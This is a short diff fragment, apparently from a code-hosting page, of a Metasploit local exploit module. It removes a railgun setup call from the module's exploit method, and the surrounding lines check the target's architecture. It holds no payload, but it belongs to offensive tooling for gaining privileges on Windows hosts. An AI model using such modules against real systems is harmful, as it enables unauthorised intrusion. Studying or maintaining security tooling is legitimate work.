@ -219,10 +197,6 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
|
||||
def exploit
|
||||
|
||||
vprint_status("Adding the railgun stuff...")
|
||||
add_railgun_functions
|
||||
|
||||
if sysinfo["Architecture"] =~ /wow64/i
|
||||
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
|
||||
elsif sysinfo["Architecture"] =~ /x64/
|
||||
|
|
Loading…
Reference in New Issue